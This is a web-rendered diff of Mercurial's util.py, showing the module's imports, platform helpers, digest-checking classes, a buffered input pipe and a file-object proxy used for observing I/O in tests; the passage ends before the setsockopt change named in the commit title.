##// END OF EJS Templates
util: fix signature of setsockopt in socket observer...
Augie Fackler -
r39095:ed8160e4 default
parent child Browse files
Show More
@@ -1,3872 +1,3872 b''
1 # util.py - Mercurial utility functions and platform specific implementations
1 # util.py - Mercurial utility functions and platform specific implementations
2 #
2 #
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 #
6 #
7 # This software may be used and distributed according to the terms of the
7 # This software may be used and distributed according to the terms of the
8 # GNU General Public License version 2 or any later version.
8 # GNU General Public License version 2 or any later version.
9
9
10 """Mercurial utility functions and platform specific implementations.
10 """Mercurial utility functions and platform specific implementations.
11
11
12 This contains helper routines that are independent of the SCM core and
12 This contains helper routines that are independent of the SCM core and
13 hide platform-specific details from the core.
13 hide platform-specific details from the core.
14 """
14 """
15
15
16 from __future__ import absolute_import, print_function
16 from __future__ import absolute_import, print_function
17
17
18 import abc
18 import abc
19 import bz2
19 import bz2
20 import collections
20 import collections
21 import contextlib
21 import contextlib
22 import errno
22 import errno
23 import gc
23 import gc
24 import hashlib
24 import hashlib
25 import itertools
25 import itertools
26 import mmap
26 import mmap
27 import os
27 import os
28 import platform as pyplatform
28 import platform as pyplatform
29 import re as remod
29 import re as remod
30 import shutil
30 import shutil
31 import socket
31 import socket
32 import stat
32 import stat
33 import sys
33 import sys
34 import time
34 import time
35 import traceback
35 import traceback
36 import warnings
36 import warnings
37 import zlib
37 import zlib
38
38
39 from .thirdparty import (
39 from .thirdparty import (
40 attr,
40 attr,
41 )
41 )
42 from . import (
42 from . import (
43 encoding,
43 encoding,
44 error,
44 error,
45 i18n,
45 i18n,
46 node as nodemod,
46 node as nodemod,
47 policy,
47 policy,
48 pycompat,
48 pycompat,
49 urllibcompat,
49 urllibcompat,
50 )
50 )
51 from .utils import (
51 from .utils import (
52 procutil,
52 procutil,
53 stringutil,
53 stringutil,
54 )
54 )
55
55
56 base85 = policy.importmod(r'base85')
56 base85 = policy.importmod(r'base85')
57 osutil = policy.importmod(r'osutil')
57 osutil = policy.importmod(r'osutil')
58 parsers = policy.importmod(r'parsers')
58 parsers = policy.importmod(r'parsers')
59
59
60 b85decode = base85.b85decode
60 b85decode = base85.b85decode
61 b85encode = base85.b85encode
61 b85encode = base85.b85encode
62
62
63 cookielib = pycompat.cookielib
63 cookielib = pycompat.cookielib
64 httplib = pycompat.httplib
64 httplib = pycompat.httplib
65 pickle = pycompat.pickle
65 pickle = pycompat.pickle
66 safehasattr = pycompat.safehasattr
66 safehasattr = pycompat.safehasattr
67 socketserver = pycompat.socketserver
67 socketserver = pycompat.socketserver
68 bytesio = pycompat.bytesio
68 bytesio = pycompat.bytesio
69 # TODO deprecate stringio name, as it is a lie on Python 3.
69 # TODO deprecate stringio name, as it is a lie on Python 3.
70 stringio = bytesio
70 stringio = bytesio
71 xmlrpclib = pycompat.xmlrpclib
71 xmlrpclib = pycompat.xmlrpclib
72
72
73 httpserver = urllibcompat.httpserver
73 httpserver = urllibcompat.httpserver
74 urlerr = urllibcompat.urlerr
74 urlerr = urllibcompat.urlerr
75 urlreq = urllibcompat.urlreq
75 urlreq = urllibcompat.urlreq
76
76
77 # workaround for win32mbcs
77 # workaround for win32mbcs
78 _filenamebytestr = pycompat.bytestr
78 _filenamebytestr = pycompat.bytestr
79
79
80 if pycompat.iswindows:
80 if pycompat.iswindows:
81 from . import windows as platform
81 from . import windows as platform
82 else:
82 else:
83 from . import posix as platform
83 from . import posix as platform
84
84
85 _ = i18n._
85 _ = i18n._
86
86
87 bindunixsocket = platform.bindunixsocket
87 bindunixsocket = platform.bindunixsocket
88 cachestat = platform.cachestat
88 cachestat = platform.cachestat
89 checkexec = platform.checkexec
89 checkexec = platform.checkexec
90 checklink = platform.checklink
90 checklink = platform.checklink
91 copymode = platform.copymode
91 copymode = platform.copymode
92 expandglobs = platform.expandglobs
92 expandglobs = platform.expandglobs
93 getfsmountpoint = platform.getfsmountpoint
93 getfsmountpoint = platform.getfsmountpoint
94 getfstype = platform.getfstype
94 getfstype = platform.getfstype
95 groupmembers = platform.groupmembers
95 groupmembers = platform.groupmembers
96 groupname = platform.groupname
96 groupname = platform.groupname
97 isexec = platform.isexec
97 isexec = platform.isexec
98 isowner = platform.isowner
98 isowner = platform.isowner
99 listdir = osutil.listdir
99 listdir = osutil.listdir
100 localpath = platform.localpath
100 localpath = platform.localpath
101 lookupreg = platform.lookupreg
101 lookupreg = platform.lookupreg
102 makedir = platform.makedir
102 makedir = platform.makedir
103 nlinks = platform.nlinks
103 nlinks = platform.nlinks
104 normpath = platform.normpath
104 normpath = platform.normpath
105 normcase = platform.normcase
105 normcase = platform.normcase
106 normcasespec = platform.normcasespec
106 normcasespec = platform.normcasespec
107 normcasefallback = platform.normcasefallback
107 normcasefallback = platform.normcasefallback
108 openhardlinks = platform.openhardlinks
108 openhardlinks = platform.openhardlinks
109 oslink = platform.oslink
109 oslink = platform.oslink
110 parsepatchoutput = platform.parsepatchoutput
110 parsepatchoutput = platform.parsepatchoutput
111 pconvert = platform.pconvert
111 pconvert = platform.pconvert
112 poll = platform.poll
112 poll = platform.poll
113 posixfile = platform.posixfile
113 posixfile = platform.posixfile
114 rename = platform.rename
114 rename = platform.rename
115 removedirs = platform.removedirs
115 removedirs = platform.removedirs
116 samedevice = platform.samedevice
116 samedevice = platform.samedevice
117 samefile = platform.samefile
117 samefile = platform.samefile
118 samestat = platform.samestat
118 samestat = platform.samestat
119 setflags = platform.setflags
119 setflags = platform.setflags
120 split = platform.split
120 split = platform.split
121 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
121 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
122 statisexec = platform.statisexec
122 statisexec = platform.statisexec
123 statislink = platform.statislink
123 statislink = platform.statislink
124 umask = platform.umask
124 umask = platform.umask
125 unlink = platform.unlink
125 unlink = platform.unlink
126 username = platform.username
126 username = platform.username
127
127
128 try:
128 try:
129 recvfds = osutil.recvfds
129 recvfds = osutil.recvfds
130 except AttributeError:
130 except AttributeError:
131 pass
131 pass
132
132
133 # Python compatibility
133 # Python compatibility
134
134
135 _notset = object()
135 _notset = object()
136
136
137 def bitsfrom(container):
137 def bitsfrom(container):
138 bits = 0
138 bits = 0
139 for bit in container:
139 for bit in container:
140 bits |= bit
140 bits |= bit
141 return bits
141 return bits
142
142
143 # python 2.6 still have deprecation warning enabled by default. We do not want
143 # python 2.6 still have deprecation warning enabled by default. We do not want
144 # to display anything to standard user so detect if we are running test and
144 # to display anything to standard user so detect if we are running test and
145 # only use python deprecation warning in this case.
145 # only use python deprecation warning in this case.
146 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
146 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
147 if _dowarn:
147 if _dowarn:
148 # explicitly unfilter our warning for python 2.7
148 # explicitly unfilter our warning for python 2.7
149 #
149 #
150 # The option of setting PYTHONWARNINGS in the test runner was investigated.
150 # The option of setting PYTHONWARNINGS in the test runner was investigated.
151 # However, module name set through PYTHONWARNINGS was exactly matched, so
151 # However, module name set through PYTHONWARNINGS was exactly matched, so
152 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
152 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
153 # makes the whole PYTHONWARNINGS thing useless for our usecase.
153 # makes the whole PYTHONWARNINGS thing useless for our usecase.
154 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
154 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
155 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
155 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
156 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
156 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
157 if _dowarn and pycompat.ispy3:
157 if _dowarn and pycompat.ispy3:
158 # silence warning emitted by passing user string to re.sub()
158 # silence warning emitted by passing user string to re.sub()
159 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
159 warnings.filterwarnings(r'ignore', r'bad escape', DeprecationWarning,
160 r'mercurial')
160 r'mercurial')
161 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
161 warnings.filterwarnings(r'ignore', r'invalid escape sequence',
162 DeprecationWarning, r'mercurial')
162 DeprecationWarning, r'mercurial')
163 # TODO: reinvent imp.is_frozen()
163 # TODO: reinvent imp.is_frozen()
164 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
164 warnings.filterwarnings(r'ignore', r'the imp module is deprecated',
165 DeprecationWarning, r'mercurial')
165 DeprecationWarning, r'mercurial')
166
166
167 def nouideprecwarn(msg, version, stacklevel=1):
167 def nouideprecwarn(msg, version, stacklevel=1):
168 """Issue an python native deprecation warning
168 """Issue an python native deprecation warning
169
169
170 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
170 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
171 """
171 """
172 if _dowarn:
172 if _dowarn:
173 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
173 msg += ("\n(compatibility will be dropped after Mercurial-%s,"
174 " update your code.)") % version
174 " update your code.)") % version
175 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
175 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
176
176
177 DIGESTS = {
177 DIGESTS = {
178 'md5': hashlib.md5,
178 'md5': hashlib.md5,
179 'sha1': hashlib.sha1,
179 'sha1': hashlib.sha1,
180 'sha512': hashlib.sha512,
180 'sha512': hashlib.sha512,
181 }
181 }
182 # List of digest types from strongest to weakest
182 # List of digest types from strongest to weakest
183 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
183 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
184
184
185 for k in DIGESTS_BY_STRENGTH:
185 for k in DIGESTS_BY_STRENGTH:
186 assert k in DIGESTS
186 assert k in DIGESTS
187
187
188 class digester(object):
188 class digester(object):
189 """helper to compute digests.
189 """helper to compute digests.
190
190
191 This helper can be used to compute one or more digests given their name.
191 This helper can be used to compute one or more digests given their name.
192
192
193 >>> d = digester([b'md5', b'sha1'])
193 >>> d = digester([b'md5', b'sha1'])
194 >>> d.update(b'foo')
194 >>> d.update(b'foo')
195 >>> [k for k in sorted(d)]
195 >>> [k for k in sorted(d)]
196 ['md5', 'sha1']
196 ['md5', 'sha1']
197 >>> d[b'md5']
197 >>> d[b'md5']
198 'acbd18db4cc2f85cedef654fccc4a4d8'
198 'acbd18db4cc2f85cedef654fccc4a4d8'
199 >>> d[b'sha1']
199 >>> d[b'sha1']
200 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
200 '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
201 >>> digester.preferred([b'md5', b'sha1'])
201 >>> digester.preferred([b'md5', b'sha1'])
202 'sha1'
202 'sha1'
203 """
203 """
204
204
205 def __init__(self, digests, s=''):
205 def __init__(self, digests, s=''):
206 self._hashes = {}
206 self._hashes = {}
207 for k in digests:
207 for k in digests:
208 if k not in DIGESTS:
208 if k not in DIGESTS:
209 raise error.Abort(_('unknown digest type: %s') % k)
209 raise error.Abort(_('unknown digest type: %s') % k)
210 self._hashes[k] = DIGESTS[k]()
210 self._hashes[k] = DIGESTS[k]()
211 if s:
211 if s:
212 self.update(s)
212 self.update(s)
213
213
214 def update(self, data):
214 def update(self, data):
215 for h in self._hashes.values():
215 for h in self._hashes.values():
216 h.update(data)
216 h.update(data)
217
217
218 def __getitem__(self, key):
218 def __getitem__(self, key):
219 if key not in DIGESTS:
219 if key not in DIGESTS:
220 raise error.Abort(_('unknown digest type: %s') % k)
220 raise error.Abort(_('unknown digest type: %s') % k)
221 return nodemod.hex(self._hashes[key].digest())
221 return nodemod.hex(self._hashes[key].digest())
222
222
223 def __iter__(self):
223 def __iter__(self):
224 return iter(self._hashes)
224 return iter(self._hashes)
225
225
226 @staticmethod
226 @staticmethod
227 def preferred(supported):
227 def preferred(supported):
228 """returns the strongest digest type in both supported and DIGESTS."""
228 """returns the strongest digest type in both supported and DIGESTS."""
229
229
230 for k in DIGESTS_BY_STRENGTH:
230 for k in DIGESTS_BY_STRENGTH:
231 if k in supported:
231 if k in supported:
232 return k
232 return k
233 return None
233 return None
234
234
235 class digestchecker(object):
235 class digestchecker(object):
236 """file handle wrapper that additionally checks content against a given
236 """file handle wrapper that additionally checks content against a given
237 size and digests.
237 size and digests.
238
238
239 d = digestchecker(fh, size, {'md5': '...'})
239 d = digestchecker(fh, size, {'md5': '...'})
240
240
241 When multiple digests are given, all of them are validated.
241 When multiple digests are given, all of them are validated.
242 """
242 """
243
243
244 def __init__(self, fh, size, digests):
244 def __init__(self, fh, size, digests):
245 self._fh = fh
245 self._fh = fh
246 self._size = size
246 self._size = size
247 self._got = 0
247 self._got = 0
248 self._digests = dict(digests)
248 self._digests = dict(digests)
249 self._digester = digester(self._digests.keys())
249 self._digester = digester(self._digests.keys())
250
250
251 def read(self, length=-1):
251 def read(self, length=-1):
252 content = self._fh.read(length)
252 content = self._fh.read(length)
253 self._digester.update(content)
253 self._digester.update(content)
254 self._got += len(content)
254 self._got += len(content)
255 return content
255 return content
256
256
257 def validate(self):
257 def validate(self):
258 if self._size != self._got:
258 if self._size != self._got:
259 raise error.Abort(_('size mismatch: expected %d, got %d') %
259 raise error.Abort(_('size mismatch: expected %d, got %d') %
260 (self._size, self._got))
260 (self._size, self._got))
261 for k, v in self._digests.items():
261 for k, v in self._digests.items():
262 if v != self._digester[k]:
262 if v != self._digester[k]:
263 # i18n: first parameter is a digest name
263 # i18n: first parameter is a digest name
264 raise error.Abort(_('%s mismatch: expected %s, got %s') %
264 raise error.Abort(_('%s mismatch: expected %s, got %s') %
265 (k, v, self._digester[k]))
265 (k, v, self._digester[k]))
266
266
267 try:
267 try:
268 buffer = buffer
268 buffer = buffer
269 except NameError:
269 except NameError:
270 def buffer(sliceable, offset=0, length=None):
270 def buffer(sliceable, offset=0, length=None):
271 if length is not None:
271 if length is not None:
272 return memoryview(sliceable)[offset:offset + length]
272 return memoryview(sliceable)[offset:offset + length]
273 return memoryview(sliceable)[offset:]
273 return memoryview(sliceable)[offset:]
274
274
275 _chunksize = 4096
275 _chunksize = 4096
276
276
277 class bufferedinputpipe(object):
277 class bufferedinputpipe(object):
278 """a manually buffered input pipe
278 """a manually buffered input pipe
279
279
280 Python will not let us use buffered IO and lazy reading with 'polling' at
280 Python will not let us use buffered IO and lazy reading with 'polling' at
281 the same time. We cannot probe the buffer state and select will not detect
281 the same time. We cannot probe the buffer state and select will not detect
282 that data are ready to read if they are already buffered.
282 that data are ready to read if they are already buffered.
283
283
284 This class let us work around that by implementing its own buffering
284 This class let us work around that by implementing its own buffering
285 (allowing efficient readline) while offering a way to know if the buffer is
285 (allowing efficient readline) while offering a way to know if the buffer is
286 empty from the output (allowing collaboration of the buffer with polling).
286 empty from the output (allowing collaboration of the buffer with polling).
287
287
288 This class lives in the 'util' module because it makes use of the 'os'
288 This class lives in the 'util' module because it makes use of the 'os'
289 module from the python stdlib.
289 module from the python stdlib.
290 """
290 """
291 def __new__(cls, fh):
291 def __new__(cls, fh):
292 # If we receive a fileobjectproxy, we need to use a variation of this
292 # If we receive a fileobjectproxy, we need to use a variation of this
293 # class that notifies observers about activity.
293 # class that notifies observers about activity.
294 if isinstance(fh, fileobjectproxy):
294 if isinstance(fh, fileobjectproxy):
295 cls = observedbufferedinputpipe
295 cls = observedbufferedinputpipe
296
296
297 return super(bufferedinputpipe, cls).__new__(cls)
297 return super(bufferedinputpipe, cls).__new__(cls)
298
298
299 def __init__(self, input):
299 def __init__(self, input):
300 self._input = input
300 self._input = input
301 self._buffer = []
301 self._buffer = []
302 self._eof = False
302 self._eof = False
303 self._lenbuf = 0
303 self._lenbuf = 0
304
304
305 @property
305 @property
306 def hasbuffer(self):
306 def hasbuffer(self):
307 """True is any data is currently buffered
307 """True is any data is currently buffered
308
308
309 This will be used externally a pre-step for polling IO. If there is
309 This will be used externally a pre-step for polling IO. If there is
310 already data then no polling should be set in place."""
310 already data then no polling should be set in place."""
311 return bool(self._buffer)
311 return bool(self._buffer)
312
312
313 @property
313 @property
314 def closed(self):
314 def closed(self):
315 return self._input.closed
315 return self._input.closed
316
316
317 def fileno(self):
317 def fileno(self):
318 return self._input.fileno()
318 return self._input.fileno()
319
319
320 def close(self):
320 def close(self):
321 return self._input.close()
321 return self._input.close()
322
322
323 def read(self, size):
323 def read(self, size):
324 while (not self._eof) and (self._lenbuf < size):
324 while (not self._eof) and (self._lenbuf < size):
325 self._fillbuffer()
325 self._fillbuffer()
326 return self._frombuffer(size)
326 return self._frombuffer(size)
327
327
328 def unbufferedread(self, size):
328 def unbufferedread(self, size):
329 if not self._eof and self._lenbuf == 0:
329 if not self._eof and self._lenbuf == 0:
330 self._fillbuffer(max(size, _chunksize))
330 self._fillbuffer(max(size, _chunksize))
331 return self._frombuffer(min(self._lenbuf, size))
331 return self._frombuffer(min(self._lenbuf, size))
332
332
333 def readline(self, *args, **kwargs):
333 def readline(self, *args, **kwargs):
334 if 1 < len(self._buffer):
334 if 1 < len(self._buffer):
335 # this should not happen because both read and readline end with a
335 # this should not happen because both read and readline end with a
336 # _frombuffer call that collapse it.
336 # _frombuffer call that collapse it.
337 self._buffer = [''.join(self._buffer)]
337 self._buffer = [''.join(self._buffer)]
338 self._lenbuf = len(self._buffer[0])
338 self._lenbuf = len(self._buffer[0])
339 lfi = -1
339 lfi = -1
340 if self._buffer:
340 if self._buffer:
341 lfi = self._buffer[-1].find('\n')
341 lfi = self._buffer[-1].find('\n')
342 while (not self._eof) and lfi < 0:
342 while (not self._eof) and lfi < 0:
343 self._fillbuffer()
343 self._fillbuffer()
344 if self._buffer:
344 if self._buffer:
345 lfi = self._buffer[-1].find('\n')
345 lfi = self._buffer[-1].find('\n')
346 size = lfi + 1
346 size = lfi + 1
347 if lfi < 0: # end of file
347 if lfi < 0: # end of file
348 size = self._lenbuf
348 size = self._lenbuf
349 elif 1 < len(self._buffer):
349 elif 1 < len(self._buffer):
350 # we need to take previous chunks into account
350 # we need to take previous chunks into account
351 size += self._lenbuf - len(self._buffer[-1])
351 size += self._lenbuf - len(self._buffer[-1])
352 return self._frombuffer(size)
352 return self._frombuffer(size)
353
353
354 def _frombuffer(self, size):
354 def _frombuffer(self, size):
355 """return at most 'size' data from the buffer
355 """return at most 'size' data from the buffer
356
356
357 The data are removed from the buffer."""
357 The data are removed from the buffer."""
358 if size == 0 or not self._buffer:
358 if size == 0 or not self._buffer:
359 return ''
359 return ''
360 buf = self._buffer[0]
360 buf = self._buffer[0]
361 if 1 < len(self._buffer):
361 if 1 < len(self._buffer):
362 buf = ''.join(self._buffer)
362 buf = ''.join(self._buffer)
363
363
364 data = buf[:size]
364 data = buf[:size]
365 buf = buf[len(data):]
365 buf = buf[len(data):]
366 if buf:
366 if buf:
367 self._buffer = [buf]
367 self._buffer = [buf]
368 self._lenbuf = len(buf)
368 self._lenbuf = len(buf)
369 else:
369 else:
370 self._buffer = []
370 self._buffer = []
371 self._lenbuf = 0
371 self._lenbuf = 0
372 return data
372 return data
373
373
374 def _fillbuffer(self, size=_chunksize):
374 def _fillbuffer(self, size=_chunksize):
375 """read data to the buffer"""
375 """read data to the buffer"""
376 data = os.read(self._input.fileno(), size)
376 data = os.read(self._input.fileno(), size)
377 if not data:
377 if not data:
378 self._eof = True
378 self._eof = True
379 else:
379 else:
380 self._lenbuf += len(data)
380 self._lenbuf += len(data)
381 self._buffer.append(data)
381 self._buffer.append(data)
382
382
383 return data
383 return data
384
384
385 def mmapread(fp):
385 def mmapread(fp):
386 try:
386 try:
387 fd = getattr(fp, 'fileno', lambda: fp)()
387 fd = getattr(fp, 'fileno', lambda: fp)()
388 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
388 return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
389 except ValueError:
389 except ValueError:
390 # Empty files cannot be mmapped, but mmapread should still work. Check
390 # Empty files cannot be mmapped, but mmapread should still work. Check
391 # if the file is empty, and if so, return an empty buffer.
391 # if the file is empty, and if so, return an empty buffer.
392 if os.fstat(fd).st_size == 0:
392 if os.fstat(fd).st_size == 0:
393 return ''
393 return ''
394 raise
394 raise
395
395
396 class fileobjectproxy(object):
396 class fileobjectproxy(object):
397 """A proxy around file objects that tells a watcher when events occur.
397 """A proxy around file objects that tells a watcher when events occur.
398
398
399 This type is intended to only be used for testing purposes. Think hard
399 This type is intended to only be used for testing purposes. Think hard
400 before using it in important code.
400 before using it in important code.
401 """
401 """
402 __slots__ = (
402 __slots__ = (
403 r'_orig',
403 r'_orig',
404 r'_observer',
404 r'_observer',
405 )
405 )
406
406
407 def __init__(self, fh, observer):
407 def __init__(self, fh, observer):
408 object.__setattr__(self, r'_orig', fh)
408 object.__setattr__(self, r'_orig', fh)
409 object.__setattr__(self, r'_observer', observer)
409 object.__setattr__(self, r'_observer', observer)
410
410
411 def __getattribute__(self, name):
411 def __getattribute__(self, name):
412 ours = {
412 ours = {
413 r'_observer',
413 r'_observer',
414
414
415 # IOBase
415 # IOBase
416 r'close',
416 r'close',
417 # closed if a property
417 # closed if a property
418 r'fileno',
418 r'fileno',
419 r'flush',
419 r'flush',
420 r'isatty',
420 r'isatty',
421 r'readable',
421 r'readable',
422 r'readline',
422 r'readline',
423 r'readlines',
423 r'readlines',
424 r'seek',
424 r'seek',
425 r'seekable',
425 r'seekable',
426 r'tell',
426 r'tell',
427 r'truncate',
427 r'truncate',
428 r'writable',
428 r'writable',
429 r'writelines',
429 r'writelines',
430 # RawIOBase
430 # RawIOBase
431 r'read',
431 r'read',
432 r'readall',
432 r'readall',
433 r'readinto',
433 r'readinto',
434 r'write',
434 r'write',
435 # BufferedIOBase
435 # BufferedIOBase
436 # raw is a property
436 # raw is a property
437 r'detach',
437 r'detach',
438 # read defined above
438 # read defined above
439 r'read1',
439 r'read1',
440 # readinto defined above
440 # readinto defined above
441 # write defined above
441 # write defined above
442 }
442 }
443
443
444 # We only observe some methods.
444 # We only observe some methods.
445 if name in ours:
445 if name in ours:
446 return object.__getattribute__(self, name)
446 return object.__getattribute__(self, name)
447
447
448 return getattr(object.__getattribute__(self, r'_orig'), name)
448 return getattr(object.__getattribute__(self, r'_orig'), name)
449
449
450 def __nonzero__(self):
450 def __nonzero__(self):
451 return bool(object.__getattribute__(self, r'_orig'))
451 return bool(object.__getattribute__(self, r'_orig'))
452
452
453 __bool__ = __nonzero__
453 __bool__ = __nonzero__
454
454
455 def __delattr__(self, name):
455 def __delattr__(self, name):
456 return delattr(object.__getattribute__(self, r'_orig'), name)
456 return delattr(object.__getattribute__(self, r'_orig'), name)
457
457
458 def __setattr__(self, name, value):
458 def __setattr__(self, name, value):
459 return setattr(object.__getattribute__(self, r'_orig'), name, value)
459 return setattr(object.__getattribute__(self, r'_orig'), name, value)
460
460
461 def __iter__(self):
461 def __iter__(self):
462 return object.__getattribute__(self, r'_orig').__iter__()
462 return object.__getattribute__(self, r'_orig').__iter__()
463
463
464 def _observedcall(self, name, *args, **kwargs):
464 def _observedcall(self, name, *args, **kwargs):
465 # Call the original object.
465 # Call the original object.
466 orig = object.__getattribute__(self, r'_orig')
466 orig = object.__getattribute__(self, r'_orig')
467 res = getattr(orig, name)(*args, **kwargs)
467 res = getattr(orig, name)(*args, **kwargs)
468
468
469 # Call a method on the observer of the same name with arguments
469 # Call a method on the observer of the same name with arguments
470 # so it can react, log, etc.
470 # so it can react, log, etc.
471 observer = object.__getattribute__(self, r'_observer')
471 observer = object.__getattribute__(self, r'_observer')
472 fn = getattr(observer, name, None)
472 fn = getattr(observer, name, None)
473 if fn:
473 if fn:
474 fn(res, *args, **kwargs)
474 fn(res, *args, **kwargs)
475
475
476 return res
476 return res
477
477
478 def close(self, *args, **kwargs):
478 def close(self, *args, **kwargs):
479 return object.__getattribute__(self, r'_observedcall')(
479 return object.__getattribute__(self, r'_observedcall')(
480 r'close', *args, **kwargs)
480 r'close', *args, **kwargs)
481
481
482 def fileno(self, *args, **kwargs):
482 def fileno(self, *args, **kwargs):
483 return object.__getattribute__(self, r'_observedcall')(
483 return object.__getattribute__(self, r'_observedcall')(
484 r'fileno', *args, **kwargs)
484 r'fileno', *args, **kwargs)
485
485
486 def flush(self, *args, **kwargs):
486 def flush(self, *args, **kwargs):
487 return object.__getattribute__(self, r'_observedcall')(
487 return object.__getattribute__(self, r'_observedcall')(
488 r'flush', *args, **kwargs)
488 r'flush', *args, **kwargs)
489
489
490 def isatty(self, *args, **kwargs):
490 def isatty(self, *args, **kwargs):
491 return object.__getattribute__(self, r'_observedcall')(
491 return object.__getattribute__(self, r'_observedcall')(
492 r'isatty', *args, **kwargs)
492 r'isatty', *args, **kwargs)
493
493
494 def readable(self, *args, **kwargs):
494 def readable(self, *args, **kwargs):
495 return object.__getattribute__(self, r'_observedcall')(
495 return object.__getattribute__(self, r'_observedcall')(
496 r'readable', *args, **kwargs)
496 r'readable', *args, **kwargs)
497
497
498 def readline(self, *args, **kwargs):
498 def readline(self, *args, **kwargs):
499 return object.__getattribute__(self, r'_observedcall')(
499 return object.__getattribute__(self, r'_observedcall')(
500 r'readline', *args, **kwargs)
500 r'readline', *args, **kwargs)
501
501
502 def readlines(self, *args, **kwargs):
502 def readlines(self, *args, **kwargs):
503 return object.__getattribute__(self, r'_observedcall')(
503 return object.__getattribute__(self, r'_observedcall')(
504 r'readlines', *args, **kwargs)
504 r'readlines', *args, **kwargs)
505
505
506 def seek(self, *args, **kwargs):
506 def seek(self, *args, **kwargs):
507 return object.__getattribute__(self, r'_observedcall')(
507 return object.__getattribute__(self, r'_observedcall')(
508 r'seek', *args, **kwargs)
508 r'seek', *args, **kwargs)
509
509
510 def seekable(self, *args, **kwargs):
510 def seekable(self, *args, **kwargs):
511 return object.__getattribute__(self, r'_observedcall')(
511 return object.__getattribute__(self, r'_observedcall')(
512 r'seekable', *args, **kwargs)
512 r'seekable', *args, **kwargs)
513
513
514 def tell(self, *args, **kwargs):
514 def tell(self, *args, **kwargs):
515 return object.__getattribute__(self, r'_observedcall')(
515 return object.__getattribute__(self, r'_observedcall')(
516 r'tell', *args, **kwargs)
516 r'tell', *args, **kwargs)
517
517
518 def truncate(self, *args, **kwargs):
518 def truncate(self, *args, **kwargs):
519 return object.__getattribute__(self, r'_observedcall')(
519 return object.__getattribute__(self, r'_observedcall')(
520 r'truncate', *args, **kwargs)
520 r'truncate', *args, **kwargs)
521
521
522 def writable(self, *args, **kwargs):
522 def writable(self, *args, **kwargs):
523 return object.__getattribute__(self, r'_observedcall')(
523 return object.__getattribute__(self, r'_observedcall')(
524 r'writable', *args, **kwargs)
524 r'writable', *args, **kwargs)
525
525
526 def writelines(self, *args, **kwargs):
526 def writelines(self, *args, **kwargs):
527 return object.__getattribute__(self, r'_observedcall')(
527 return object.__getattribute__(self, r'_observedcall')(
528 r'writelines', *args, **kwargs)
528 r'writelines', *args, **kwargs)
529
529
530 def read(self, *args, **kwargs):
530 def read(self, *args, **kwargs):
531 return object.__getattribute__(self, r'_observedcall')(
531 return object.__getattribute__(self, r'_observedcall')(
532 r'read', *args, **kwargs)
532 r'read', *args, **kwargs)
533
533
534 def readall(self, *args, **kwargs):
534 def readall(self, *args, **kwargs):
535 return object.__getattribute__(self, r'_observedcall')(
535 return object.__getattribute__(self, r'_observedcall')(
536 r'readall', *args, **kwargs)
536 r'readall', *args, **kwargs)
537
537
538 def readinto(self, *args, **kwargs):
538 def readinto(self, *args, **kwargs):
539 return object.__getattribute__(self, r'_observedcall')(
539 return object.__getattribute__(self, r'_observedcall')(
540 r'readinto', *args, **kwargs)
540 r'readinto', *args, **kwargs)
541
541
542 def write(self, *args, **kwargs):
542 def write(self, *args, **kwargs):
543 return object.__getattribute__(self, r'_observedcall')(
543 return object.__getattribute__(self, r'_observedcall')(
544 r'write', *args, **kwargs)
544 r'write', *args, **kwargs)
545
545
546 def detach(self, *args, **kwargs):
546 def detach(self, *args, **kwargs):
547 return object.__getattribute__(self, r'_observedcall')(
547 return object.__getattribute__(self, r'_observedcall')(
548 r'detach', *args, **kwargs)
548 r'detach', *args, **kwargs)
549
549
550 def read1(self, *args, **kwargs):
550 def read1(self, *args, **kwargs):
551 return object.__getattribute__(self, r'_observedcall')(
551 return object.__getattribute__(self, r'_observedcall')(
552 r'read1', *args, **kwargs)
552 r'read1', *args, **kwargs)
553
553
554 class observedbufferedinputpipe(bufferedinputpipe):
554 class observedbufferedinputpipe(bufferedinputpipe):
555 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
555 """A variation of bufferedinputpipe that is aware of fileobjectproxy.
556
556
557 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
557 ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
558 bypass ``fileobjectproxy``. Because of this, we need to make
558 bypass ``fileobjectproxy``. Because of this, we need to make
559 ``bufferedinputpipe`` aware of these operations.
559 ``bufferedinputpipe`` aware of these operations.
560
560
561 This variation of ``bufferedinputpipe`` can notify observers about
561 This variation of ``bufferedinputpipe`` can notify observers about
562 ``os.read()`` events. It also re-publishes other events, such as
562 ``os.read()`` events. It also re-publishes other events, such as
563 ``read()`` and ``readline()``.
563 ``read()`` and ``readline()``.
564 """
564 """
565 def _fillbuffer(self):
565 def _fillbuffer(self):
